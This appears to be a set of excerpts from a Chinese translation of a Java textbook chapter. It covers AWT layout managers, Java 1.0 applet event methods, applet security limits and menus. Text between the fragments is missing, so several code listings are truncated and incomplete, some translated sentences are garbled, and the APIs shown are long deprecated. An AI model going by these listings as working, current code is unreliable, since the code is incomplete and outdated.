    {"text": "／／： ＦｌｏｗＬａｙｏｕｔ１．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｎｇ ｔｈｅ ＦｌｏｗＬａｙｏｕｔ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＦｌｏｗＬａｙｏｕｔ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＦｌｏｗＬａｙｏｕｔ（））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ２０； ｉ＋＋） ａｄｄ（ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ＂ ＋ ｉ））；"},
    {"text": "当我们增加一些事物到使用 ＢｏｒｄｅｒＬａｙｏｕｔ 的面板上时我们必须使用 ａｄｄ（）方法将一个字符串对象作为它的第一个自变量，并且字符串必须指定（正确的大写）“Ｎｏｒｔｈ” （上），“Ｓｏｕｔｈ”（下），“ｗｅｓｔ”（左），“Ｅａｓｔ”（右）或者“Ｃｅｎｔｅｒ”。"},
    {"text": "这是一个简单的程序例子： ／／： ＢｏｒｄｅｒＬａｙｏｕｔ１．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｎｇ ｔｈｅ ＢｏｒｄｅｒＬａｙｏｕｔ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＢｏｒｄｅｒＬａｙｏｕｔ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｉｎｔ ｉ ＝ ０； ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； ａｄｄ（＂Ｎｏｒｔｈ＂， ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ＂ ＋ ｉ＋＋））； ａｄｄ（＂Ｓｏｕｔｈ＂， ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ＂ ＋ ｉ＋＋））； ａｄｄ（＂Ｅａｓｔ＂， ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ＂ ＋ ｉ＋＋））； ａｄｄ（＂Ｗｅｓｔ＂， ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ＂ ＋ ｉ＋＋））； ａｄｄ（＂Ｃｅｎｔｅｒ＂， ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ＂ ＋ ｉ＋＋））；"},
    {"text": "／／： ＧｒｉｄＬａｙｏｕｔ１．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｎｇ ｔｈｅ ＧｒｉｄＬａｙｏｕｔ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＧｒｉｄＬａｙｏｕｔ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（７，３））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ２０； ｉ＋＋） ａｄｄ（ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ＂ ＋ ｉ））；"},
    {"text": "１ ３ ． １ ２ ． ４ Ｃ ａ ｒ ｄ Ｌ ａ ｙ ｏ ｕ ｔ ＣａｒｄＬａｙｏｕｔ 允许我们在更复杂的拥有真正的文件夹卡片与一条边相遇的环境里创建大致相同于“卡片式对话 框”的布局，我们必须压下一个卡片使不同的对话框带到前面来。"},
    {"text": "） １． 联合布局（Ｃｏｍｂｉｎｉｎｇ ｌａｙｏｕｔｓ） ３９４ 下面的例子联合了更多的布局类型，在最初只有一个布局管理器被程序片或应用程序操作看起来相当的困 难。"},
    {"text": "这是事实，但如果我们创建更多的面板对象，每个面板都能拥有一个布局管理器，并且像被集成到程序 片或应用程序中一样使用程序片或应用程序的布局管理器。"},
    {"text": "这就象下面程序中的一样给了我们更多的灵活 性： ／／： ＣａｒｄＬａｙｏｕｔ１．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｎｇ ｔｈｅ ＣａｒｄＬａｙｏｕｔ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．Ａｐｐｌｅｔ； ｃｌａｓｓ ＢｕｔｔｏｎＰａｎｅｌ ｅｘｔｅｎｄｓ Ｐａｎｅｌ ｛ ＢｕｔｔｏｎＰａｎｅｌ（Ｓｔｒｉｎｇ ｉｄ） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； ａｄｄ（＂Ｃｅｎｔｅｒ＂， ｎｅｗ Ｂｕｔｔｏｎ（ｉｄ））； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＣａｒｄＬａｙｏｕｔ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｂｕｔｔｏｎ ｆｉｒｓｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｆｉｒｓｔ＂）， ｓｅｃｏｎｄ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｅｃｏｎｄ＂）， ｔｈｉｒｄ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｔｈｉｒｄ＂）； Ｐａｎｅｌ ｃａｒｄｓ ＝ ｎｅｗ Ｐａｎｅｌ（）； ＣａｒｄＬａｙｏｕｔ ｃｌ ＝ ｎｅｗ ＣａｒｄＬａｙｏｕｔ（）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＦｌｏｗＬａｙｏｕｔ（））； ｐ．ａｄｄ（ｆｉｒｓｔ）； ｐ．ａｄｄ（ｓｅｃｏｎｄ）； ｐ．ａｄｄ（ｔｈｉｒｄ）； ａｄｄ（＂Ｎｏｒｔｈ＂， ｐ）； ｃａｒｄｓ．ｓｅｔＬａｙｏｕｔ（ｃｌ）； ｃａｒｄｓ．ａｄｄ（＂Ｆｉｒｓｔ ｃａｒｄ＂， ｎｅｗ ＢｕｔｔｏｎＰａｎｅｌ（＂Ｔｈｅ ｆｉｒｓｔ ｏｎｅ＂））； ｃａｒｄｓ．ａｄｄ（＂Ｓｅｃｏｎｄ ｃａｒｄ＂， ｎｅｗ ＢｕｔｔｏｎＰａｎｅｌ（＂Ｔｈｅ ｓｅｃｏｎｄ ｏｎｅ＂））； ｃａｒｄｓ．ａｄｄ（＂Ｔｈｉｒｄ ｃａｒｄ＂， ｎｅｗ ＢｕｔｔｏｎＰａｎｅｌ（＂Ｔｈｅ ｔｈｉｒｄ ｏｎｅ＂））； ａｄｄ（＂Ｃｅｎｔｅｒ＂， ｃａｒｄｓ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ（Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ （ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｆｉｒｓｔ）） ｛ ｃｌ．ｆｉｒｓｔ（ｃａｒｄｓ）； ｝ ｅｌｓｅ ｉｆ （ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｓｅｃｏｎｄ）） ｛ ｃｌ．ｆｉｒｓｔ（ｃａｒｄｓ）； ｃｌ．ｎｅｘｔ（ｃａｒｄｓ）； ｝ ｅｌｓｅ ｉｆ （ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｔｈｉｒｄ）） ｛ ｃｌ．ｌａｓｔ（ｃａｒｄｓ）； ｝ ３９５ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "在程序片里，面板卡片上将存放卡片和布局管理器 ＣＬ 因为 ＣａｒｄＬａｙｏｕｔ 必须组成类，因为当我们需要处理卡 片时我们需要访问这些句柄。"},
    {"text": "这个程序片变成使用 ＢｏｒｄｅｒＬａｙｏｕｔ 来取代它的默认 ＦｌｏｗＬａｙｏｕｔ，创建面板来容纳三个按钮（使用 ＦｌｏｗＬａｙｏｕｔ），并且这个面板安置在程序片末尾的“Ｎｏｒｔｈ”。"},
    {"text": "当我们增加 ＢｏｔｔｏｎＰａｎｅｌｓ（或者任何其它我们想要的组件）到卡片面板时，ａｄｄ（）方法的第一个自变量不是 “Ｎｏｒｔｈ”，“Ｓｏｕｔｈ”等等。"},
    {"text": "直到这些增加到 Ｊａｖａ 里，我们忍耐（持续的冷嘲热讽）西 班牙的 ＧｒｉｄＢａｇＬａｙｏｕｔ 和 ＧｒｉｄＢａｇＣｏｎｓｔｒａｉｎｔｓ 狂热宗教。"},
    {"text": "相反，我建议您从阅读 Ｃｏｒｎｅｌｌ 和 Ｈｏｒｓｔｍａｎｎ 撰写的《核心 Ｊａｖａ》 （第二版，Ｐｒｅｎｔｉｃｅ－Ｈａｌｌ 出版社，１９９７ 年）开始。"},
    {"text": "在这范围内还有其它的：在 ＪＦＣ／Ｓｗｉｎｇ 库里有一个新的使用 Ｓｍａｌｌｔａｌｋ 的受人欢迎的“Ｓｐｒｉｎｇ ａｎｄ Ｓｔｒｕｔｓ” 布局管理器并且它能显著地减少 ＧｒｉｄＢａｇＬａｙｏｕｔ 的需要。"},
    {"text": "１ ３ ． １ ３ ａ ｃ ｔ ｉ ｏ ｎ 的替代品 正如早先指出的那样，ａｃｔｉｏｎ（）并不是我们对所有事进行分类后自动为 ｈａｎｄｌｅＥｖｅｎｔ（）调用的唯一方法。"},
    {"text": "然而，我们也注意到这种方法在 Ｊａｖａ １．１ 版中是不被支持的，同样尽管我们可能注意到继承代码 利用了这种方法，我们将会使用 Ｊａｖａ １．１ 版的方法来代替（本章后面有详细介绍）。"},
    {"text": "组件方法 何时调用 ａｃｔｉｏｎ（Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ｗｈａｔ） 当典型的事件针对组件发生（例如，当按下一个按钮或下拉列表项目被选 中）时调用 ｋｅｙＤｏｗｎ（Ｅｖｅｎｔ ｅｖｔ， ｉｎｔ ｋｅｙ） 当按键被按下，组件拥有焦点时调用。 第二个自变量是按下的键并且是冗余 的是从 ｅｖｔ．ｋｅｙ 处复制来的 ３９６ ｋｅｙｕｐ（Ｅｖｅｎｔ ｅｖｔ， ｉｎｔ ｋｅｙ） 当按键被释放，组件拥有焦点时调用 ｌｏｓｔＦｏｃｕｓ（Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ｗｈａｔ） 焦点从目标处移开时调用。 通常，ｗｈａｔ 是从 ｅｖｔ．ａｒｇ 里冗余复制的 ｇｏｔＦｏｃｕｓ（Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ｗｈａｔ） 焦点移动到目标时调用 ｍｏｕｓｅＤｏｗｎ（Ｅｖｅｎｔ ｅｖｔ， ｉｎｔ ｘ ，ｉｎｔ ｙ） 一个鼠标按下存在于组件之上，在 Ｘ，Ｙ 座标处时调用 ｍｏｕｓｅＵｐ（Ｅｖｅｎｔ ｅｖｔ， ｉｎｔ ｘ， ｉｎｔ ｙ） 一个鼠标升起存在于组件之上时调用 ｍｏｕｓｅＭｏｖｅ（Ｅｖｅｎｔ ｅｖｔ， ｉｎｔ ｘ， ｉｎｔ ｙ） 当鼠标在组件上移动时调用 ｍｏｕｓｅＤｒａｇ（Ｅｖｅｎｔ ｅｖｔ， ｉｎｔ ｘ， ｉｎｔ ｙ） 鼠标在一次 ｍｏｕｓｅＤｏｗｎ 事件发生后拖动。 所有拖动事件都会报告给 内部发生了 ｍｏｕｓｅＤｏｗｎ 事件的那个组件，直到遇到一次 ｍｏｕｓｅＵｐ 为止 ｍｏｕｓｅＥｎｔｅｒ（Ｅｖｅｎｔ ｅｖｔ， ｉｎｔ ｘ， ｉｎｔ ｙ） 鼠标从前不在组件上方，但目前在 ｍｏｕｓｅＥｘｉｔ（Ｅｖｅｎｔ ｅｖｔ， ｉｎｔ ｘ， ｉｎｔ ｙ） 鼠标曾经位于组件上方，但目前不在 当我们处理特殊情况时——一个鼠标事件，例如，它恰好是我们想得到的鼠标事件存在的座标，我们将看到 每个程序接收一个事件连同一些我们所需要的信息。"},
    {"text": "有趣的是，当组件的 ｈａｎｄｌｅＥｖｅｎｔ（）调用这些方法时 （典型的事例），附加的自变量总是多余的因为它们包含在事件对象里。 事实上，如果我们观察 ｃｏｍｐｏｎｅｎｔ．ｈａｎｄｌｅＥｖｅｎｔ（）的源代码，我们能发现它显然将增加的自变量抽出事件对象（这可能是考虑到在一 些语言中无效率的编码，但请记住 Ｊａｖａ 的焦点是安全的，不必担心。"},
    {"text": "）试验对我们表明这些事件事实上在被 调用并且作为一个有趣的尝试是值得创建一个过载每个方法的程序片，（ａｃｔｉｏｎ（）的过载在本章的其它地 方）当事件发生时显示它们的相关数据。"},
    {"text": "） ｍｙＢｕｔｔｏｎ 类是明确说明的：它只和一个自动事件（ＡｕｔｏＥｖｅｎｔ）“父窗口”一起运行（父窗口不是一个基础 类，它是按钮创建和存在的窗口。"},
    {"text": "／／： ＡｕｔｏＥｖｅｎｔ．ｊａｖａ ／／ Ａｌｔｅｒｎａｔｉｖｅｓ ｔｏ ａｃｔｉｏｎ（） ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ ＭｙＢｕｔｔｏｎ ｅｘｔｅｎｄｓ Ｃａｎｖａｓ ｛ ＡｕｔｏＥｖｅｎｔ ｐａｒｅｎｔ； Ｃｏｌｏｒ ｃｏｌｏｒ； Ｓｔｒｉｎｇ ｌａｂｅｌ； ＭｙＢｕｔｔｏｎ（ＡｕｔｏＥｖｅｎｔ ｐａｒｅｎｔ， Ｃｏｌｏｒ ｃｏｌｏｒ， Ｓｔｒｉｎｇ ｌａｂｅｌ） ｛ ｔｈｉｓ．ｌａｂｅｌ ＝ ｌａｂｅｌ； ｔｈｉｓ．ｐａｒｅｎｔ ＝ ｐａｒｅｎｔ； ｔｈｉｓ．ｃｏｌｏｒ ＝ ｃｏｌｏｒ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｇ．ｓｅｔＣｏｌｏｒ（ｃｏｌｏｒ）； ｉｎｔ ｒｎｄ ＝ ３０； ｇ．ｆｉｌｌＲｏｕｎｄＲｅｃｔ（０， ０， ｓｉｚｅ（）．ｗｉｄｔｈ， ｓｉｚｅ（）．ｈｅｉｇｈｔ， ｒｎｄ， ｒｎｄ）； ｇ．ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ．ｂｌａｃｋ）； ３９７ ｇ．ｄｒａｗＲｏｕｎｄＲｅｃｔ（０， ０， ｓｉｚｅ（）．ｗｉｄｔｈ， ｓｉｚｅ（）．ｈｅｉｇｈｔ， ｒｎｄ， ｒｎｄ）； ＦｏｎｔＭｅｔｒｉｃｓ ｆｍ ＝ ｇ．ｇｅｔＦｏｎｔＭｅｔｒｉｃｓ（）； ｉｎｔ ｗｉｄｔｈ ＝ ｆｍ．ｓｔｒｉｎｇＷｉｄｔｈ（ｌａｂｅｌ）； ｉｎｔ ｈｅｉｇｈｔ ＝ ｆｍ．ｇｅｔＨｅｉｇｈｔ（）； ｉｎｔ ａｓｃｅｎｔ ＝ ｆｍ．ｇｅｔＡｓｃｅｎｔ（）； ｉｎｔ ｌｅａｄｉｎｇ ＝ ｆｍ．ｇｅｔＬｅａｄｉｎｇ（）； ｉｎｔ ｈｏｒｉｚＭａｒｇｉｎ ＝ （ｓｉｚｅ（）．ｗｉｄｔｈ － ｗｉｄｔｈ）／２； ｉｎｔ ｖｅｒＭａｒｇｉｎ ＝ （ｓｉｚｅ（）．ｈｅｉｇｈｔ － ｈｅｉｇｈｔ）／２； ｇ．ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ．ｗｈｉｔｅ）； ｇ．ｄｒａｗＳｔｒｉｎｇ（ｌａｂｅｌ， ｈｏｒｉｚＭａｒｇｉｎ， ｖｅｒＭａｒｇｉｎ ＋ ａｓｃｅｎｔ ＋ ｌｅａｄｉｎｇ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｋｅｙＤｏｗｎ（Ｅｖｅｎｔ ｅｖｔ， ｉｎｔ ｋｅｙ） ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ （ＴｅｘｔＦｉｅｌｄ）ｐａｒｅｎｔ．ｈ．ｇｅｔ（＂ｋｅｙＤｏｗｎ＂）； ｔ．ｓｅｔＴｅｘｔ（ｅｖｔ．ｔｏＳｔｒｉｎｇ（））； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｋｅｙＵｐ（Ｅｖｅｎｔ ｅｖｔ， ｉｎｔ ｋｅｙ） ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ （ＴｅｘｔＦｉｅｌｄ）ｐａｒｅｎｔ．ｈ．ｇｅｔ（＂ｋｅｙＵｐ＂）； ｔ．ｓｅｔＴｅｘｔ（ｅｖｔ．ｔｏＳｔｒｉｎｇ（））； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｌｏｓｔＦｏｃｕｓ（Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ｗ） ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ （ＴｅｘｔＦｉｅｌｄ）ｐａｒｅｎｔ．ｈ．ｇｅｔ（＂ｌｏｓｔＦｏｃｕｓ＂）； ｔ．ｓｅｔＴｅｘｔ（ｅｖｔ．ｔｏＳｔｒｉｎｇ（））； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｇｏｔＦｏｃｕｓ（Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ｗ） ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ （ＴｅｘｔＦｉｅｌｄ）ｐａｒｅｎｔ．ｈ．ｇｅｔ（＂ｇｏｔＦｏｃｕｓ＂）； ｔ．ｓｅｔＴｅｘｔ（ｅｖｔ．ｔｏＳｔｒｉｎｇ（））； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｍｏｕｓｅＤｏｗｎ（Ｅｖｅｎｔ ｅｖｔ，ｉｎｔ ｘ，ｉｎｔ ｙ） ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ （ＴｅｘｔＦｉｅｌｄ）ｐａｒｅｎｔ．ｈ．ｇｅｔ（＂ｍｏｕｓｅＤｏｗｎ＂）； ｔ．ｓｅｔＴｅｘｔ（ｅｖｔ．ｔｏＳｔｒｉｎｇ（））； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｍｏｕｓｅＤｒａｇ（Ｅｖｅｎｔ ｅｖｔ，ｉｎｔ ｘ，ｉｎｔ ｙ） ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ （ＴｅｘｔＦｉｅｌｄ）ｐａｒｅｎｔ．ｈ．ｇｅｔ（＂ｍｏｕｓｅＤｒａｇ＂）； ｔ．ｓｅｔＴｅｘｔ（ｅｖｔ．ｔｏＳｔｒｉｎｇ（））； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ３９８ ｍｏｕｓｅＥｎｔｅｒ（Ｅｖｅｎｔ ｅｖｔ，ｉｎｔ ｘ，ｉｎｔ ｙ） ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ （ＴｅｘｔＦｉｅｌｄ）ｐａｒｅｎｔ．ｈ．ｇｅｔ（＂ｍｏｕｓｅＥｎｔｅｒ＂）； ｔ．ｓｅｔＴｅｘｔ（ｅｖｔ．ｔｏＳｔｒｉｎｇ（））； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｍｏｕｓｅＥｘｉｔ（Ｅｖｅｎｔ ｅｖｔ，ｉｎｔ ｘ，ｉｎｔ ｙ） ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ （ＴｅｘｔＦｉｅｌｄ）ｐａｒｅｎｔ．ｈ．ｇｅｔ（＂ｍｏｕｓｅＥｘｉｔ＂）； ｔ．ｓｅｔＴｅｘｔ（ｅｖｔ．ｔｏＳｔｒｉｎｇ（））； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｍｏｕｓｅＭｏｖｅ（Ｅｖｅｎｔ ｅｖｔ，ｉｎｔ ｘ，ｉｎｔ ｙ） ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ （ＴｅｘｔＦｉｅｌｄ）ｐａｒｅｎｔ．ｈ．ｇｅｔ（＂ｍｏｕｓｅＭｏｖｅ＂）； ｔ．ｓｅｔＴｅｘｔ（ｅｖｔ．ｔｏＳｔｒｉｎｇ（））； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｍｏｕｓｅＵｐ（Ｅｖｅｎｔ ｅｖｔ，ｉｎｔ ｘ，ｉｎｔ ｙ） ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ （ＴｅｘｔＦｉｅｌｄ）ｐａｒｅｎｔ．ｈ．ｇｅｔ（＂ｍｏｕｓｅＵｐ＂）； ｔ．ｓｅｔＴｅｘｔ（ｅｖｔ．ｔｏＳｔｒｉｎｇ（））； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＡｕｔｏＥｖｅｎｔ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｈａｓｈｔａｂｌｅ ｈ ＝ ｎｅｗ Ｈａｓｈｔａｂｌｅ（）； Ｓｔｒｉｎｇ［］ ｅｖｅｎｔ ＝ ｛ ＂ｋｅｙＤｏｗｎ＂， ＂ｋｅｙＵｐ＂， ＂ｌｏｓｔＦｏｃｕｓ＂， ＂ｇｏｔＦｏｃｕｓ＂， ＂ｍｏｕｓｅＤｏｗｎ＂， ＂ｍｏｕｓｅＵｐ＂， ＂ｍｏｕｓｅＭｏｖｅ＂， ＂ｍｏｕｓｅＤｒａｇ＂， ＂ｍｏｕｓｅＥｎｔｅｒ＂， ＂ｍｏｕｓｅＥｘｉｔ＂ ｝； ＭｙＢｕｔｔｏｎ ｂ１ ＝ ｎｅｗ ＭｙＢｕｔｔｏｎ（ｔｈｉｓ， Ｃｏｌｏｒ．ｂｌｕｅ， ＂ｔｅｓｔ１＂）， ｂ２ ＝ ｎｅｗ ＭｙＢｕｔｔｏｎ（ｔｈｉｓ， Ｃｏｌｏｒ．ｒｅｄ， ＂ｔｅｓｔ２＂）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（ｅｖｅｎｔ．ｌｅｎｇｔｈ＋１，２））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｅｖｅｎｔ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（）； ｔ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ａｄｄ（ｎｅｗ Ｌａｂｅｌ（ｅｖｅｎｔ［ｉ］， Ｌａｂｅｌ．ＣＥＮＴＥＲ））； ａｄｄ（ｔ）； ｈ．ｐｕｔ（ｅｖｅｎｔ［ｉ］， ｔ）； ｝ ａｄｄ（ｂ１）； ａｄｄ（ｂ２）；"},
    {"text": "｝ ３９９ ｝ ／／／：￣ 我们可以看到构建器使用利用自变量同名的方法，所以自变量被赋值，并且使用 ｔｈｉｓ 来区分： ｔｈｉｓ．ｌａｂｅｌ ＝ ｌａｂｅｌ；"},
    {"text": "我们能得到一个相当好的关于继续关 注方法调用的主意，它将程序中那些相当平凡的代码挑出，当我们想集中一个标签到一些组件里时，我们正 好可以对它进行剪切和粘贴。"},
    {"text": "特别是，如果我们需要在 ＡｕｔｏＥｖｅｎｔ 中增加或删除一个新的事件类型，我们只需要简单地在事件列队中增加或删除一个字符串——所有的工作都 自动地完成了。"},
    {"text": "父类是一个 ＡｕｔｏＥｖｅｎｔ，它包含 Ｈａｓｈｔａｂｌｅ ｈ 和 ｇｅｔ（）方法，当拥有特定的字符串 时，将对一个我们知道的 ＴｅｘｔＦｉｅｌｄ 对象产生一个句柄（因此它被选派到那）。"},
    {"text": "所以我们可能会注意到大 量的限制： （１） 一个程序片不能接触到本地的磁盘。 这意味着不能在本地磁盘上写和读，我们不想一个程序片通过 ＷＥＢ 页面阅读和传送重要的信息。"},
    {"text": "也许将来设计能被改变成 允许我们将浏览器菜单和程序片菜单相结合起来——程序片可以影响它的环境将导致太危及整个系统的安全 并使程序片过于的复杂。"},
    {"text": "在 Ｊａｖａ １．１ 版中的一个改进是 ＪＡＲ（Ｊａｖａ ＡＲｃｈｉｖｅ）文件，它允许将所有的程序片组件（包括其它的类文 件、图像、声音）一起打包到一个的能被单个服务器处理下载的压缩文件。"},
    {"text": "另外，安全限制规则 使访问多个主机变得非常的困难，因为每一件事都必须通过 ＷＥＢ 服务器路由，形成一个性能瓶颈，并且单一 环节的出错都会导致整个处理的停止。"},
    {"text": "当用户对一个 ＷＥＢ 页面进行改变或退出浏览器时，对我们的程序片 而言简直是一场灾难——这时没有办法保存状态，所以如果我们在处理和操作中时，信息会被丢失。 另外， 当我们离开一个 ＷＥＢ 页面时，不同的浏览器会对我们的程序片做不同的操作，因此结果本来就是不确定的。"},
    {"text": "４００ １ ３ ． １ ４ ． １ 程序片的优点 如果能容忍那些限制，那么程序片的一些优点也是非常突出的，尤其是在我们构建客户／服务器应用或者其 它网络应用时： ■没有安装方面的争议。"},
    {"text": "程序片拥有真正的平台独立性（包括容易地播放声音文件等能力）所以我们不需要 针对不同的平台修改代码也不需要任何人根据安装运行任何的“ｔｗｅａｋｉｎｇ ”。"},
    {"text": "这 样，连同前面的优点，可使用 Ｊａｖａ （可从 ＪａｖａＳｃｒｉｐｔ 和 ＶＢＳｃｒｉｐｔ 中选择客户端的 ＷＥＢ 编程工具）为所谓的 Ｉｎｔｒａｎｔ（在公司内部使用而不向 Ｉｎｔｅｒｎｅｔ 转移的企业内部网络）客户机／服务器开发应用程序。"},
    {"text": "但是，我们希望 Ｊａｖａ 能制 造一个开窗口的程序去运行一些事物，否则宁愿安放在一个 ＷＥＢ 页面上，并且也许我们希望它可以运行一些 可靠的应用程序，以及夸张的实时便携性。"},
    {"text": "一个 Ｊａｖａ 设置窗口应用程序可以拥有菜单和对话框（这对一个程序片来说是不可能的和很困难的），可是如 果我们使用一个老版本的 Ｊａｖａ，我们将会牺牲本地操作系统环境的外观和感受。"},
    {"text": "如果我们想建立一个设置窗口应用程序，它会合理地 运作，同样，如果我们可以使用最新版本的 Ｊａｖａ 并且集合所有的工具，我们就可以发布不会使用户困惑的应 用程序。"},
    {"text": "１ ３ ． １ ５ ． １ 菜单 直接在程序片中安放一个菜单是不可能的（Ｊａｖａ １．０，Ｊａｖａ１．１ 和 Ｓｗｉｎｇ 库不允许），因为它们是针对应用程 序的。"},
    {"text": "程序片中 没有 ｓｅｔＭｅｎｕＢａｒ（）方法，而这种方法是附在菜单中的（我们会看到它可以合理地在程序片产生一个帧，并且 帧包含菜单）。"},
    {"text": "有四种不同类型的 ＭｅｎｕＣｏｍｐｏｎｅｎｔ （菜单组件），所有的菜单组件起源于抽象类：菜单条（我们可以在一个 事件帧里拥有一个菜单条），菜单去支配一个单独的下拉菜单或者子菜单、菜单项来说明菜单里一个单个的 元素，以及起源于 ＭｅｎｕＩｔｅｍ，产生检查标志（ｃｈｅｃｋｍａｒｋ）去显示菜单项是否被选择的 ＣｈｅｃｋＢｏｘＭｅｎｕＩｔｅｍ。"},
